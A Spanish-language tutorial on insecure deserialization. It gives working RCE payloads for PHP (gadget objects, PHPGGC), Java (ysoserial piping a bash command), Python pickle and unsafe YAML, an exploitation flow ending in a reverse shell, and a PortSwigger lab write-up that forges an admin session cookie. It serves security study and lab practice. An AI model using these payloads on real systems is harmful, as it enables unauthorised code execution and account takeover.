Deserialización Insegura

La serialización convierte un objeto en una cadena de bytes para guardarlo o enviarlo; la deserialización lo reconstruye. Si una aplicación deserializa datos controlados por el usuario sin validarlos, un atacante puede construir un objeto malicioso que, al reconstruirse, ejecute código → RCE.

Es A08 del OWASP Top 10 y uno de los fallos más potentes (y peligrosos) en aplicaciones.

Cómo detectarlo

Busca datos serializados que viajen del cliente al servidor: cookies, parámetros ocultos, tokens, campos VIEWSTATE, colas de mensajes. Pistas por formato:

PHP — gadget chains con unserialize()

PHP invoca “métodos mágicos” (__wakeup, __destruct, __toString) al deserializar. Si una clase del proyecto hace algo peligroso en esos métodos, encadenas hasta RCE.

Objeto malicioso de ejemplo (la clase existe en el código de la app):

copiarO:4:"Logu":1:{s:3:"cmd";s:2:"id";}

Herramienta: PHPGGC genera cadenas de gadgets para frameworks conocidos (Laravel, Symfony, Monolog…):

copiarphpggc Monolog/RCE1 system id -b     # -b = salida en base64

Java — ysoserial

El clásico. ysoserial genera payloads según las librerías del classpath (CommonsCollections, etc.):

copiarjava -jar ysoserial.jar CommonsCollections5 'bash -c {echo,<BASE64>}|{base64,-d}|bash' | base64

Ese blob serializado se envía donde la app deserialice (cookie, parámetro, endpoint).

Python — pickle

pickle.loads() sobre datos del usuario es RCE directo. El método __reduce__ controla qué se ejecuta al deserializar:

copiarimport pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(E())).decode())

Envía esa cadena donde la app haga pickle.loads(base64.b64decode(...)).

YAML inseguro

yaml.load() (sin SafeLoader) permite instanciar objetos arbitrarios:

copiar!!python/object/apply:os.system ["id"]

Flujo de explotación

1. Identificar dato serializado

   Cookie/param que decodifica a O: / rO0 / pickle.
2. Identificar lenguaje y librerías

   PHP, Java, Python, .NET + frameworks del classpath.
3. Generar la gadget chain

   PHPGGC / ysoserial / __reduce__ / YAML.
4. Inyectar el payload

   Donde la app deserialice; recoge la reverse shell.

Herramientas relacionadas

Dónde practicar la deserialización

Writeup guiado: manipular un objeto PHP serializado (PortSwigger)

Lab: “Modifying serialized objects”. Objetivo: escalar a admin manipulando la cookie de sesión y borrar a carlos.

1. Localizar

   La cookie de sesión es un objeto PHP serializado en Base64.
2. Decodificar

   Base64 -> ves un campo admin a false (b:0).
3. Manipular

   Cambiar admin a true (b:1) y re-serializar.
4. Re-codificar

   Base64 de nuevo y enviarlo como cookie.
5. Resolver

   Acceder al panel admin y borrar al usuario carlos.

Paso 1 — Decodificar la cookie

La cookie session decodifica (Base64) a algo como:

copiarO:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Paso 2 — Manipular y re-codificar

Cambia b:0 por b:1 (admin = true):

copiarO:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

copiarecho -n 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}' | base64

Sustituye la cookie por el nuevo Base64 (Burp Repeater). Ahora eres admin → accede a /admin y borra a carlos.